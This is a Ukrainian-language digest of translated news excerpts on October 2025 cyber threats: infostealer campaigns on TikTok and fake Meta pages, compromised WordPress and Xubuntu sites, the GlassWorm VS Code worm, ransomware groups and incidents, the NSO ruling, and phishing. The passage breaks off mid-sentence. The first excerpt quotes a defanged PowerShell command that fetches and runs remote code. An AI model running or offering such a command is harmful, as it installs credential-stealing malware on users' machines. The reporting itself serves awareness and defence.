«Нова кампанія з поширення шкідливого програмного забезпечення поширюється в TikTok під виглядом відео, які обіцяють «безкоштовну активацію» або «зламані» версії популярного програмного забезпечення, такого як Adobe Photoshop. Після перегляду кліпу глядачам пропонується запустити Windows PowerShell в режимі адміністратора і виконати, на перший погляд, нешкідливу однорядкову команду — iex (irm slmgr[.]win/photoshop). Ця команда непомітно завантажує та виконує перший етап корисного навантаження PowerShell (рівень виявлення 17/63 на VirusTotal), який потім отримує updater.exe з

hxxps://file-epq[.]pages[.]dev. Аналіз показує, що updater.exe — це «AuroStealer», інформаційний крадій, який збирає облікові дані, а також системні дані…

Щоб забезпечити стійкість, шкідливе програмне забезпечення створює заплановані завдання з іменами, що імітують легітимні елементи Windows (наприклад, «MicrosoftEdgeUpdateTaskMachineCore»), щоб код перезапускався при кожному вході в систему. Третій компонент, source.exe, ще більше ускладнює виявлення: він компілює новий код C# під час виконання за допомогою csc.exe, виділяє пам'ять через API kernel32.dll (VirtualAlloc, CreateThread, WaitForSingleObject), вводить шел-код безпосередньо в оперативну пам'ять і запускає його, не записуючи нові файли на диск.

Дослідники з Internet Storm Center виявили кілька варіантів TikTok, націлених на користувачів, які шукають піратське програмне забезпечення, що підкреслює, як соціальна інженерія та величезна аудиторія платформи допомагають зловмисникам поширювати сучасне багатоступеневе шкідливе програмне забезпечення, яке маскується під звичайні системні процеси та обходить традиційні засоби безпеки. Цей інцидент підкреслює необхідність уникати ненадійних «безкоштовних» завантажень та обмежувати адміністративне використання PowerShell…» ***(Tushar Subhra Dutta. Hackers Using TikTok Videos to Deploy Self-Compiling Malware That Leverages PowerShell for Execution // Cyber Security News (https://cybersecuritynews.com/hackers-using-tiktok-videos-to-deploy-self-compiling-malware/). 17.10.2025).***

***

«Зловмисник UNC5142, який з'явився наприкінці 2023 року, зламав понад 14 000 вразливих веб-сайтів WordPress, перетворивши їх на платформи для розповсюдження шкідливого програмного забезпечення, а наприкінці липня 2025 року раптово припинив свою діяльність. Група Google Threat Intelligence Group (GTIG) підозрює, що група просто вдосконалила свої методи маскування, а не повністю розпустилася. UNC5142 без розбору атакувала сайти WordPress із вразливими плагінами, темами або базами даних, заражаючи їх багатоступеневим JavaScript-завантажувачем під назвою CLEARSHOT… Цей завантажувач унікальним чином отримував свою другу стадію корисного навантаження з публічного блокчейну, а саме з ланцюга BNB, що є тактикою, яка значно покращує стійкість шкідливого програмного забезпечення до вилучення завдяки незмінності блокчейну та складності впровадження мережевого захисту для трафіку Web3. Корисне навантаження завантажувало цільову сторінку CLEARSHORT, яка часто розміщувалася на сторінці Cloudflare .dev, а потім застосовувала тактику соціального інжинірингу ClickFix, спонукаючи користувачів скопіювати та вставити шкідливу команду в командний рядок їхньої операційної системи, щоб в кінцевому підсумку завантажити остаточне шкідливе програмне забезпечення…» ***(Sead Fadilpašić. Thousands of web pages abused by hackers to spread malware // Future US, Inc. (https://www.techradar.com/pro/security/thousands-of-web-pages-abused-by-hackers-to-spread-malware). 17.10.2025).***

***

«Користувачі, які намагаються завантажити легку дистрибуцію Linux Xubuntu, як повідомляється, отримують шкідливе програмне забезпечення, що змусило розробників проекту тимчасово відключити всі завантаження. Згідно з повідомленнями користувачів, офіційний веб-сайт Xubuntu був зламаний хакерами, які замінили торрент-посилання на шкідливі, що ведуть до ZIP-архіву, який містить підозрілий виконуваний файл. Цей виконуваний файл запускає підроблений «Xubuntu – Safe Downloader», який десятки постачальників засобів безпеки позначили як троян. Хоча одна з повідомлених функцій шкідливого програмного забезпечення полягає в заміні адрес криптогаманців — функція, яка, як видається, не працює в спостережуваних криптогаманцях — шкідливий пакет, ймовірно, здатний на більш широке вторгнення… Крім того, аналіз показує, що підроблений завантажувач, який пропонує користувачам вибрати «Цільову версію Windows», незважаючи на те, що в списку є тільки варіанти Xubuntu, може бути адаптацією попередніх кампаній з поширення шкідливого програмного забезпечення, спрямованих на системи Windows. Представник команди Xubuntu визнав «помилку», пов'язану з хостинговим середовищем, і заявив, що команда переходить на статичне середовище, щоб запобігти подібним інцидентам у майбутньому. Користувачам, які запустили шкідливий завантажувач, настійно рекомендується вжити негайних заходів для усунення наслідків, включаючи зміну всіх паролів, припинення активних веб-сесій, перенесення криптоактивів та повну переінсталяцію операційної системи». ***(Ernestas Naprys. Users beware: Xubuntu website serving malware instead of OS downloads // Cybernews (https://cybernews.com/security/xubuntu-site-compromise-hackers-peddle-malware/). 20.10.2025).***

***

«…Складна і тривала атака на ланцюжок поставок, названа «GlassWorm», в даний час націлена на розробників, заражаючи розширення на ринках OpenVSX і Microsoft Visual Studio, що призвело до приблизно 35 800 інсталяцій. Саморозповсюджуване шкідливе програмне забезпечення використовує «невидимі символи Unicode» для приховування свого шкідливого коду в редакторах і поширюється, викрадаючи облікові дані жертв для облікових записів GitHub, npm і OpenVSX…

Оператори GlassWorm використовують блокчейн Solana для стійкого управління та контролю (C2), а Google Calendar як резервну копію, що робить видалення вірусу надзвичайно складним. Після встановлення шкідливе програмне забезпечення викрадає дані гаманця криптовалюти з 49 розширень, розгортає проксі SOCKS та встановлює клієнти VNC (HVNC) для невидимого віддаленого доступу. Кінцевий корисний вантаж, який називається ZOMBI, є масивно заплутаним кодом JavaScript, який перетворює заражені робочі станції розробників на вузли в мережі інфраструктури кіберзлочинців. Додаткову стійкість забезпечує використання розподіленої хеш-таблиці (DHT) BitTorrent для децентралізованого розподілу команд.

Дослідники виявили щонайменше одинадцять заражених розширень на OpenVSX і одне на Microsoft VS Code Marketplace, зазначивши, що загроза

посилюється через те, що розширення VS Code автоматично оновлюються без попередження. Хоча Microsoft видалила шкідливе розширення після отримання попередження, на момент публікації кілька заражених розширень залишалися доступними на OpenVSX, а сервери C2 залишалися активними. Koi Security описує GlassWorm як одну з найскладніших атак на ланцюжок постачання та першу задокументовану атаку типу «черв'як», спрямовану на VS Code…» ***(Bill Toulas. Self-spreading GlassWorm malware hits OpenVSX, VS Code registries // Bleeping Computer® LLC (https://www.bleepingcomputer.com/news/security/self-spreading-glassworm-malware-hits-openvsx-vs-code-registries/). 20.10.2025).***

***

«Згідно з оглядом загроз Qrator Labs за третій квартал 2025 року, хакерські інструменти на базі штучного інтелекту сприяють безпрецедентному розширенню DDoS-ботнетів. Завдяки легкодоступним чат-ботам і механізмам генерації коду навіть малокваліфіковані зловмисники можуть знаходити, зламувати та керувати вразливими пристроями «в 25 разів швидше», ніж рік тому: компанія виявила єдину ботнет-мережу, що налічує 5,76 мільйона кінцевих точок, що значно перевищує рекорд 2024 року в 227 000 пристроїв…

Географія зловмисного трафіку також змінюється. Прискорена цифровізація на ринках, що розвиваються, призвела до появи величезних масивів погано захищеного обладнання; Бразилія випередила Росію та США як головне джерело DDoS-трафіку на рівні додатків (L7) (19% від загального обсягу), а В'єтнам за 12 місяців піднявся з п'ятнадцятого на четверте місце. Інші великі концентрації вузлів були виявлені в США, Індії та Аргентині…

Зловмисники зосереджуються на грошах і охопленні: 26% зафіксованих атак припадає на фінтех-компанії, за ними йдуть компанії електронної комерції (22%), медіа (16%) та інформаційно-комунікаційні компанії (15%). Пікова атака на мережевому рівні (L3-L4) за квартал, спрямована на платформу електронної комерції, досягла 1,15 Тбіт/с — трохи вище рекорду 2024 року в 1,14 Тбіт/с, — а найдовша одиночна атака (також проти електронної комерції) тривала 14 годин 33 хвилини 4 вересня.

Ці висновки підтверджують попередження компаній Darktrace та NetScout про те, що штучний інтелект «демократизує» кіберзлочини: 78% керівників служб інформаційної безпеки вже відчувають значний вплив на бізнес загроз, що базуються на штучному інтелекті…» ***(Emma Woollacott. Cyber experts have been warning about AI-powered DDoS attacks – now they're becoming a reality // Future US, Inc. (https://www.itpro.com/security/cyber-attacks/cyber-experts-have-been-warning-about-ai-powered-ddos-attacks-now-theyre-becoming-a-reality). 21.10.2025).***

***

Програми-вимагачі

«…Атака програм-вимагачів на Asahi, найбільшого виробника пива в Японії, змусила компанію в понеділок вимкнути свої IT-системи, зупинивши

замовлення, відвантаження та обслуговування клієнтів і зупинивши роботу більшості з 30 внутрішніх заводів. Хоча компанія заявляє, що дані клієнтів не були розкриті і порушення обмежується Японією, роздрібні продавці попереджають, що Asahi Super Dry — найпопулярніше пиво в країні — може закінчитися протягом декількох днів. Asahi почала обробляти обмежену кількість замовлень на папері і сподівається відновити деякі функції обслуговування клієнтів наступного тижня, але повне відновлення може зайняти кілька тижнів, як це було в минулих випадках з японськими інцидентами з програмним забезпеченням-вимагачем…

Ця атака нагадує злом Colonial Pipeline у 2021 році, коли зупинка роботи була спричинена не фізичним пошкодженням, а блокуванням IT-систем. З огляду на рекордно високий рівень поширення програм-вимагачів, застарілі методи безпеки та готовність тихо платити викуп зробили японські компанії головними мішенями; тільки минулого року було атаковано понад 200 компаній…

Експерти закликають компанії зберігати надійні резервні копії, сегментувати мережі, навчати персонал протидії фішингу та швидко реагувати на порушення безпеки, підкреслюючи, що навіть такі повсякденні товари, як пиво, тепер вразливі в умовах розширення війни з кіберзлочинністю». ***(Daniel Sims. Following cyberattack, Japan is days away from running out of country's favorite beer // TechSpot, Inc. (https://www.techspot.com/news/109738-following-cyberattack-japan-days-away-running-out-country.html). 04.10.2025).***

***

«Оновлюючи інформацію про кібератаку, що сталася у вересні, компанія Asahi Holdings підтвердила можливість несанкціонованого перенесення персональних даних, визнавши, що в Інтернеті виявлено дані, які, ймовірно, були викрадені. Атака вперше стала відомою 29 вересня як «системна помилка», яка змусила пивоварню припинити роботу систем замовлення, доставки та кол-центру на всіх своїх об'єктах в Японії, що призвело до двотижневого перебоїв у роботі та ручного оброблення замовлень. Хоча спочатку Asahi заявляла, що дані клієнтів і співробітників у безпеці, зараз компанія розслідує масштаби та деталі несанкціонованої передачі даних і планує негайно повідомити про це зацікавлених осіб. Внаслідок триваючого хаосу інцидент також порушив доступ до даних бухгалтерського обліку, змусивши Asahi відкласти оголошення фінансових результатів за третій квартал 2025 фінансового року…» ***(Jessica Mason. Asahi fears 'possibility' of personal data leaked during cyber-attack // Union Press Ltd (https://www.thedrinksbusiness.com/2025/10/asahi-fears-possibility-personal-data-leaked-during-cyber-attack/). 14.10.2025).***

***

«…6 жовтня, платформа аналітики блокчейну TRM Labs опублікувала звіт про дев'ять нових груп програм-вимагачів та про те, як вони використовують штучний інтелект.

До цих груп належать Arkana Security, Dire Wolf, Frag та Sarcoma, серед інших, які використовують різні тактики та націлені на різних жертв. Однак,

спільним для них є дедалі частіше використання штучного інтелекту в їхніх операціях з вимаганням програм-вимагачів.

У звіті зазначається, що штучний інтелект стає невід'ємною частиною операцій з вимагачами. Примітно, що він дозволяє цим групам масштабно масштабувати свою діяльність. Більше того, ця технологія сприяє появі нових видів тактик, особливо тих, що використовують людський фактор безпеки…

Це особливо стосується шахрайства із застосуванням соціальної інженерії, яке раніше вимагало багато часу та ретельних досліджень і підготовки. Тепер зловмисники-вимагачі можуть використовувати штучний інтелект для написання повідомлень та створення депфейкових відео, які стають дедалі правдоподібнішими.

Шахраї також використовують великі мовні моделі (LLM) для автоматизації генерації коду, знижуючи бар'єр входу для зловмисників. Штучний інтелект також дозволяє створювати поліморфне шкідливе програмне забезпечення, яке змінюється з кожним зараженням, що значно ускладнює його виявлення». ***(David Marsanic. AI ransomware is on the rise as attackers scale up: Report // crypto.news (https://crypto.news/ai-ransomware-is-on-the-rise-as-attackers-scale-up-report/). 06.10.2025).***

***

«…LockBit, один з найвідоміших у світі операторів програм-вимагачів як послуги, знову з'явився після торішнього міжнародного викриття і оголосив про офіційний союз з іншими бандами-вимагачами DragonForce і Qilin. Партнерство, про яке було оголошено на сайті DragonForce і яке відкрите для нових учасників, має на меті об'єднати інструменти, інфраструктуру та афілійованих осіб, що потенційно може відновити репутацію LockBit і значно збільшити як частоту, так і складність атак… Компанія ReliaQuest, що спеціалізується на питаннях безпеки, попереджає, що коаліція може перенаправити свою нову платформу LockBit 5.0 на об'єкти критичної інфраструктури, а аналітики Optiv відзначають, що спільні ресурси, ймовірно, прискорять обсяг атак і вдосконалять тактику — так само, як співпраця LockBit з Maze у 2020 році популяризувала модель подвійного вимагання. Розширення також ускладнює зусилля США щодо стримування групи, оскільки санкції Вашингтона забороняють американським організаціям платити викуп LockBit, але ще не поширюються безпосередньо на нових союзників, що підвищує ймовірність більш масштабних і скоординованих атак у секторах, які раніше вважалися менш ризикованими…» ***(Gintaras Radauskas. Report: LockBit, Qilin, DragonForce join forces as ransomware cartel // Cybernews (https://cybernews.com/security/lockbit-qilin-dragonforce-ransomware-cartel/). 10.10.2025).***

***

«Місто Мічиган-Сіті, штат Індіана, підтвердило, що «порушення роботи мережі», яке сталося 23 вересня, було атакою програм-вимагачів. Цей інцидент змусив багато муніципальних систем відключитися, порушивши доступ співробітників до Інтернету та телефонів і вплинувши на невизначену частину

міських даних. Мер Анжі Нельсон Деуїч повідомила міській раді, що зараз зусилля зосереджені на безпечному відновленні послуг та підтримці роботи критично важливих систем. Зовнішня команда з реагування на інциденти та правоохоронні органи проводять криміналістичне розслідування, що обмежує деталі, якими місто може поділитися. У понеділок новостворена група хакерів Obscura взяла на себе відповідальність за атаку, заявивши, що викрала 450 ГБ даних і вже опублікувала їх після закінчення терміну виплати викупу. Obscura перерахувала понад 15 жертв з моменту своєї появи минулого місяця. Місто Мічиган-Сіті з населенням близько 30 000 осіб слідує за іншими муніципалітетами штату Індіана, які нещодавно постраждали від програм-вимагачів, один з яких оголосив місцеву катастрофу минулого року після серйозної атаки…» ***(Jonathan Greig. Indiana city confirms ransomware hackers behind September incident // Recorded Future News (https://therecord.media/michigan-indiana-city-ransomware). 14.10.2025).***

***

«Програми-вимагачі більше не обмежуються блокуванням файлів і очікуванням виплати в біткойнах. Сьогодні злочинці спочатку викрадають дані, а потім шифрують їх (або не шифрують взагалі) і вимагають від жертв гроші, погрожуючи оприлюдненням інформації, штрафами та судовими позовами. За даними Zscaler, обсяг даних, викрадених злочинними угрупованнями, зріс на 92% у порівнянні з минулим роком і досяг 238 ТБ, а кількість випадків публічного викриття злочинців зросла на 70%. Зловмисники, такі як Scattered Spider, тепер тижнями вручну досліджують мережу жертви, складають карту найцінніших активів і використовують передові тактики соціальної інженерії перед тим, як завдати удару — такий підхід звалив навіть такі ресурсні компанії, як Allianz…

Світ страхування недостатньо підготовлений. Страховики все ще базують моделі ризиків на історичних даних про страхові випадки, отриманих виключно від організацій, які вже мають поліси кіберстрахування; проте 22% компаній не мають жодного страхового покриття, а 58% страхувальників скоротили свої ліміти, що залишає величезну «сліпу пляму». Повніше уявлення про ситуацію з'являється лише тоді, коли страховики аналізують дані про порушення в усій економіці, що свідчить про зростання використання вторгнень, що здійснюються людьми, фішингу, що генерується штучним інтелектом, та глибоких підробок.

Фінансові ризики тепер виходять далеко за межі самого викупу. Штрафи за порушення GDPR можуть досягати 4% від глобального обороту, штрафи за порушення CCPA в Каліфорнії досягають майже 8000 доларів за кожен скомпрометований запис, а кількість колективних позовів за порушення захисту даних у США майже потроїлася до 1488 у 2024 році; угода Meta на суму 1,4 млрд доларів про біометричну конфіденційність та урегулювання порушення Marriott на суму 52 млн доларів ілюструють масштаби проблеми. Оскільки крадіжка даних запускає кілька ліній страхового покриття — переривання бізнесу, професійна відповідальність, захист від регуляторних органів, кризове управління — прогалини в формулюваннях полісів і суперечливі сублімiти створюють складні, довготривалі претензії, які можуть тривати роками після типового очищення від програм-вимагачів…

Штучний інтелект прискорює ці зміни. Зловмисники використовують такі інструменти, як ChatGPT, для масового створення індивідуалізованих фішингових атак, автоматизації сценаріїв соціальної інженерії та створення бездоганних підробок зі швидкістю машини. Людські темпи страхування не встигають за цими змінами; страхові компанії, які продовжують покладатися на ручні анкети та застарілі дані про страхові випадки, будуть неправильно оцінювати ризики в міру зростання можливостей зловмисників…

Тому прогресивні страхові компанії впроваджують системи оцінки ризиків на основі штучного інтелекту, які обробляють великі масиви даних про порушення, відстежують нові методи, техніки та процедури (TTP) і динамічно оцінюють рівень безпеки кожного заявника. Без цього кроку розрив між реальними економічними показниками програм-вимагачів і цінами на кіберстрахування збільшиться, що поставить страховиків і страхувальників у небезпечну ситуацію». ***(Nir Perry. How Ransomware's Data Theft Evolution is Rewriting Cyber Insurance Risk Models // Techstrong Group Inc. (https://securityboulevard.com/2025/10/how-ransomwares-data-theft-evolution-is-rewriting-cyber-insurance-risk-models/). 17.10.2025).***

***

«За даними дослідників з безпеки компанії Forescout, програмне забезпечення для вимагання викупу Interlock швидко еволюціонувало від середнього рівня крадія облікових даних до високотехнологічного, мультиплатформного, хмарного програмного забезпечення для вимагання викупу, досягнувши «операційної зрілості» в лютому 2025 року. Зараз Interlock працює як бізнес-платформа з афілійованими компаніями і здатний виконувати повний цикл атак — від початкового доступу до шифрування та викрадення даних — націлюючись на високоцінні сектори, такі як охорона здоров'я, уряд та виробництво… Програма-вимагач розширила свій вплив за межі Windows і тепер охоплює сервери Linux, BSD та VMware ESXi, а також використовує легальні хмарні сервіси, такі як тунелі Cloudflare та AzCopy від Azure, для управління та контролю (C2) і крадіжки даних. Афілійовані особи Interlock отримують негайний привілейований доступ, купуючи облікові дані у посередників, які надають початковий доступ, а потім використовують такі інструменти, як Cobalt Strike та PsExec, для побічного переміщення. Операція також професіоналізувала свою комунікацію, видаючи записки з вимогою викупу, що нагадують корпоративні «попередження про інциденти», та наголошуючи на ефективності переговорів, водночас підкреслюючи суворі правові та регуляторні наслідки (наприклад, GDPR, HIPAA), з якими стикаються жертви через розкриття даних клієнтів у разі несплати. Для захисту від Interlock компанія Forescout радить організаціям зосередитися на ранньому виявленні поведінкових аномалій, впровадженні політик умовного доступу на основі ризиків, моніторингу активності PowerShell та активному пошуку аномалій у бічному переміщенні…» ***(Sead Fadilpašić. Interlock ransomware just keeps getting more powerful - here's how to stay safe // Future US, Inc. (https://www.techradar.com/pro/security/interlock-ransomware-just-keeps-getting-more-powerful-heres-how-to-stay-safe). 17.10.2025).***

***

«…Третій квартал 2025 року відзначився значними глобальними порушеннями роботи програм-вимагачів, які торкнулися авіакомпаній, автомобільних компаній, урядів та організацій у 93 країнах. Згідно з аналізом глобальної активності програм-вимагачів, проведеним BlackFog, кількість публічно розкритих інцидентів досягла нового рекордного рівня в 270 атак, що на 36% більше, ніж у тому ж кварталі минулого року, і на 335% більше, ніж у третьому кварталі 2020 року. Це зростання обсягів було стабільним протягом усіх місяців кварталу, причому в липні, серпні та вересні було зафіксовано двозначне зростання в порівнянні з аналогічним періодом минулого року…

Д-р Даррен Вільямс, засновник і генеральний директор BlackFog, підкреслив «тривалий і довгостроковий вплив» цих атак, посилаючись на серйозні порушення, такі як зупинка літаків і припинення виробництва виробниками, згадуючи відновлення роботи Jaguar Land Rover після інциденту в серпні. Крім того, він зазначив зростаючу зухвалість зловмисників, проявом якої стала вереснева атака на британську мережу дитячих садків Kido, в результаті якої було викрадено інформацію про дітей, батьків та вихователів. Вільямс порадив організаціям надавати пріоритет захисту даних, щоб усунути важелі, які кіберзлочинці використовують для вимагання.

Протягом третього кварталу 2025 року 54 групи зловмисників, що використовують програми-вимагачі, були пов'язані з інцидентами. Група Qilin була найактивнішою в розкритих випадках, відповідаючи за 20 атак, а також домінувала в набагато більшому сегменті нерозкритих випадків. З'явилося вісімнадцять нових груп, що використовують програми-вимагачі, включаючи DEVMAN, яка потрапила в заголовки новин завдяки 19 атакам і значній вимозі викупу в розмірі 91 мільйон доларів від китайської групи Shimao. Незважаючи на ці приписування, приблизно 40% повідомлених інцидентів залишаються пов'язаними з невідомою групою…

Охорона здоров'я залишилася найбільш уразливим сектором серед розкритих випадків, на який припадає 32% (86 атак), за нею йдуть урядові та технологічні організації. Натомість найбільше постраждала від нерозкритих випадків (22%) промисловість, за нею йдуть сфера послуг і, вперше, будівельна галузь. Згідно з оцінками звіту, майже 85% всіх інцидентів із використанням програм-вимагачів (загалом близько 1510) не були повідомлені в третьому кварталі 2025 року, що на 21% більше, ніж у 2024 році. Крадіжка даних залишалася основною тактикою, яка використовувалася в 96% всіх розкритих атак, що є рекордним показником». ***(Q3 Ransomware Attacks Increase 36% YoY, BlackFog Report Reveals // TechnologyAdvice (https://www.techrepublic.com/article/ransomware-attacks-blackfog-2025/). 17.10.2025).***

***

«…Інтеграція штучного інтелекту (ШІ) швидко трансформує ринок програм-вимагачів, роблячи складні атаки більш доступними, хоча деякі експерти застерігають, що нинішні заголовки про «програми-вимагачі на базі ШІ» є в основному гіперболізованими. Хоча існують повідомлення про те, що зловмисники використовують великі мовні моделі (LLM), такі як Claude від

Anthropic, для розвідки, генерації коду та крадіжки облікових даних різних організацій, демонстрації програм-вимагачів з інтегрованим ШІ наразі є скоріше академічними доказами концепції, а не поширеними атаками в реальному світі. Експерти, такі як Роберт МакАрдл, стверджують, що шкідливе програмне забезпечення з інтегрованим ШІ має недоліки для злочинців, оскільки його часто легше виявити і воно залежить від хмарних сервісів, що створює додаткові ризики…

Реальні негайні операційні поліпшення, зумовлені штучним інтелектом, стосуються «закулісної» сторони кіберзлочинності: уточнення вибору цілей, персоналізація фішингу в масштабі, автоматизація розвідки, сортування цілей та складання індивідуальних записок з вимогою викупу, часто з використанням шантажу на основі витоку інформації. У перспективі очікується, що штучний інтелект відіграватиме важливу роль на етапі після викрадення даних, зокрема в монетизації викрадених даних, як-от оголошена групою Dragonforce послуга аналізу даних на основі штучного інтелекту. Прогнозується, що майбутні штампи програм-вимагачів стануть більш автономними, адаптивними та прихованими, потенційно використовуючи підкріплювальне навчання для оптимізації шляхів атаки або інтегруючи технологію deepfake для маніпулювання жертвами…

Окрім простих інструментів штучного інтелекту, найбільш трансформаційний вплив може мати «агентний штучний інтелект», де спеціалізовані, скоординовані агенти штучного інтелекту виконують складні операції з мінімальним контролем з боку людини, потенційно розвиваючи модель до «кіберзлочинності як послуги». Наразі загроза залишається в основному програмним забезпеченням-вимагачем, і найефективнішою стратегією її зменшення є не пошук «блискучих інструментів безпеки», а вдосконалення перевірених найкращих практик: суворий контроль ідентичності, перевірені резервні копії, виявлення на основі поведінки та підтримання пильності людей щодо автоматизованих атак…» ***(Kate O'Flaherty. AI in Ransomware Attacks: How Big is the Risk? // CyberRisk Alliance (https://insight.scmagazineuk.com/ai-in-ransomware-attacks-how-big-is-the-risk). 2010.2025).***

***

Шпигунське програмне забезпечення

«Окружний суд США видав постійну судову заборону, яка зобов'язує ізраїльську компанію NSO Group припинити атакувати месенджер WhatsApp, що належить Meta Platforms. Компанія-розробник шпигунського програмного забезпечення попередила, що це рішення може поставити під загрозу всю її діяльність. Суддя Філліс Гамільтон винесла судову заборону, але значно зменшила розмір штрафних збитків, які NSO повинна виплатити Meta, з приблизно 167 мільйонів доларів до 4 мільйонів доларів, після недавнього судового розгляду з участю присяжних… Цей судовий наказ є серйозним викликом для компанії NSO, відомої своїм хакерським інструментом Pegasus, який використовує вразливості програмного забезпечення і якого широко звинувачують у сприянні порушенням

прав людини. Керівник WhatsApp Вілл Каткарт привітав це рішення, заявивши в X, що воно «забороняє виробнику шпигунського програмного забезпечення NSO знову націлюватися на WhatsApp і наших глобальних користувачів». Навпаки, компанія NSO, яка наполягає, що її продукти використовуються для боротьби зі злочинністю та тероризмом, вітала 97% зменшення штрафних збитків і зазначила, що судова заборона не поширюється на її клієнтів, які, як стверджується, продовжуватимуть використовувати технологію NSO. Компанія заявила, що перегляне рішення, щоб визначити свої наступні кроки, після її недавнього придбання групою на чолі з голлівудським продюсером Робертом Сімондсом». ***(Raphael Satter. US court orders spyware company NSO to stop targeting WhatsApp, reduces damages // Reuters (https://www.reuters.com/sustainability/society-equity/us-court-orders-spyware-company-nso-stop-targeting-whatsapp-reduces-damages-2025-10-18/?rpc=401&). 20.10.2025).***

***

Фішингові атаки

«…Кіберзлочинці все частіше використовують невеликі портативні пристрої, відомі як «SMS-бластери» (SMS blaster), для розсилки масових хвиль фішингових текстових повідомлень, що називається «смішингом» (smishing). Ці пристрої, які можна використовувати з рюкзака або автомобіля, імітують легальні базові станції, щоб змусити телефони, що знаходяться поблизу, підключитися до них. Потім вони змушують телефони перейти на менш безпечну мережу 2G, що дозволяє їм «розсилати» до 100 000 шкідливих текстових повідомлень на годину на всі пристрої в радіусі до 1000 метрів, навіть не маючи телефонних номерів жертв…

Ці атаки, що виникли в Південно-Східній Азії, зараз стають все більшою глобальною проблемою, оскільки мобільні мережі наразі не можуть блокувати такі повідомлення. Щоб захистити себе, користувачі Android 14 або новіших версій можуть вимкнути 2G-з'єднання в налаштуваннях мобільної мережі. Хоча iPhone не мають прямого еквівалента, режим блокування в iOS 16 або новіших версіях також вимкне 2G, хоча це крайній захід, який обмежує інші функції телефону… Незалежно від пристрою, користувачам рекомендується бути обережними з будь-якими текстами, що створюють відчуття терміновості, наприклад, з вимогами про оплату, та звертати увагу на ознаки шахрайства, такі як граматичні помилки та підозрілі URL-адреси. Завжди безпечніше отримувати доступ до конфіденційних облікових записів, таких як банківські, переходячи безпосередньо на веб-сайт або в додаток, а не натискаючи на посилання в текстових повідомленнях». ***(Monica J. White. New 'SMS blaster' text scams are on the rise, security experts warn – stay safe by changing this one phone setting // Future US, Inc. (https://www.techradar.com/computing/cyber-security/new-sms-blaster-text-scams-are-on-the-rise-security-experts-warn-stay-safe-by-changing-this-one-phone-setting). 04.102025).***

***

«…Нова фішингова кампанія під назвою «FileFix» використовує страх людей втратити свої акаунти в Facebook або Instagram, щоб встановити StealC, потужне шкідливе програмне забезпечення для викрадення інформації. Атака починається з підробленої сторінки «безпеки» Meta, яка попереджає жертву, що її акаунт буде заблоковано через сім днів, якщо вона не перегляне «звіт про інцидент». Замість того, щоб надати документ, сторінка показує щось схоже на шлях до файлу і пропонує користувачам скопіювати та вставити його в Провідник Windows. У цьому рядку, прихованому за пробілами далеко за межами екрана, знаходиться команда PowerShell. Після вставки вона тихо виконується, завантажує з Bitbucket «.jpg» з пасткою, розшифровує другий скрипт і, нарешті, запускає StealC, обходячи багато засобів безпеки…

Потім StealC сканує систему в пошуках паролів і файлів cookie браузерів, даних Discord, Telegram і Pidgin, криптогаманців, облікових даних AWS і Azure, профілів VPN і навіть ігрових акаунтів; він також може робити знімки екрана робочого столу. Аналітики Acronis вже виявили кілька нових варіантів, що свідчить про активну роботу зловмисників над вдосконаленням програми.

Для захисту від FileFix і StealC користувачі повинні поєднувати обережність із практичними заходами безпеки: ставитеся до термінових попереджень Meta з підозрою та перевіряйте їх за допомогою справжнього додатка; ніколи не вставляйте команди з невідомих веб-сторінок у системні діалогові вікна; використовуйте надійний антивірус із функцією виявлення поведінки; використовуйте менеджер паролів, щоб викрадені паролі браузера не розблоковували інші облікові записи; та розгляньте можливість використання послуг з видалення даних, щоб зменшити обсяг особистої інформації, яку може використати зловмисник…» ***(Kurt Knutsson. Meta account suspension scam hides FileFix malware // FOX News Network, LLC. (https://www.foxnews.com/tech/meta-account-suspension-scam-hides-filefix-malware). 03.10.2025).***

***

«…StrikeReady виявив нову хвилю кібершпигунства, яка розпочалася наприкінці вересня, коли фішингові електронні листи надійшли до сербського урядового відомства, відповідального за нагляд за авіацією, а потім поширилися на цілі в Угорщині, Бельгії, Італії та Нідерландах. Ці повідомлення перенаправляли одержувачів на підроблені сторінки «верифікації» Cloudflare і надавали їм фальшиві документи, такі як план навчання сербської державної адміністрації, порядок денний Європейської комісії та запрошення на саміт Європейської політичної спільноти, одночасно непомітно встановлюючи шкідливе програмне забезпечення Sogu, PlugX і Korplug. Ці набори інструментів історично пов'язані майже виключно з китайськими державними суб'єктами (наприклад, Mustang Panda, UNC6384). Зокрема, PlugX з'явився в останніх операціях, пов'язаних з Китаєм, проти дипломатів Південно-Східної Азії, європейських мереж охорони здоров'я та, за даними американських властей, тисяч американських систем. StrikeReady не пов'язує цю останню кампанію з конкретною групою, і поки що не ясно, які дані отримали зловмисники, але тактика, імплантати

та профіль жертв сильно натякають на зусилля збору розвідданих, пов'язані з Пекіном…» ***(Daryna Antoniuk. Suspected Chinese cyber spies targeted Serbian aviation agency // Recorded Future News (https://therecord.media/suspected-chinese-spies-serbia). 06.10.2025).***

***

«Складна фішингова кампанія активно націлена на корпоративні та споживчі облікові записи, видаючи себе за портали входу OpenAI та Sora, використовуючи електронні листи, які попереджають одержувачів про блокування облікового запису або незвичайну активність, щоб заманити їх на підроблені сторінки входу. Дослідники Unit 42 виявили, що зловмисники, які стоять за цією кампанією, використовують багатоступеневий завантажувач, написаний на сильно заплутаному JavaScript, який виконується відразу після введення облікових даних. Цей завантажувач динамічно вводить шкідливий код у браузер жертви, викрадаючи зібрані імена користувачів та паролі на сервер управління (C2), а потім плавно перенаправляє користувача на легітимний сервіс, тим самим маскуючи злом… Ця прихована стратегія динамічного завантаження дозволяє уникнути виявлення на основі сигнатур і становить значну загрозу, оскільки викрадені облікові дані можуть забезпечити горизонтальне переміщення в корпоративних мережах, особливо в тих, що використовують рішення єдиного входу (SSO). Командам з безпеки настійно рекомендується впровадити багатофакторну автентифікацію (MFA), перевіряти останні дії з входу в систему та контролювати вихідний трафік, щоб зменшити цей ризик». ***(Tushar Subhra Dutta. Hackers Mimic as OpenAI and Sora Services to Steal Login Credentials // Cyber Security News (https://cybersecuritynews.com/hackers-mimic-as-openai-and-sora-services/). 14.10.2025).***

***

«Дослідники виявили нову фішинг-кампанію в ланцюжку поставок, яка використовує екосистему NPM у безпрецедентний спосіб: замість того, щоб ховати шкідливе програмне забезпечення в пакетах, встановлених розробниками, зловмисники створили понад 175 одноразових пакетів NPM, єдиною метою яких є розміщення шкідливого JavaScript на надійному CDN unpkg.com…

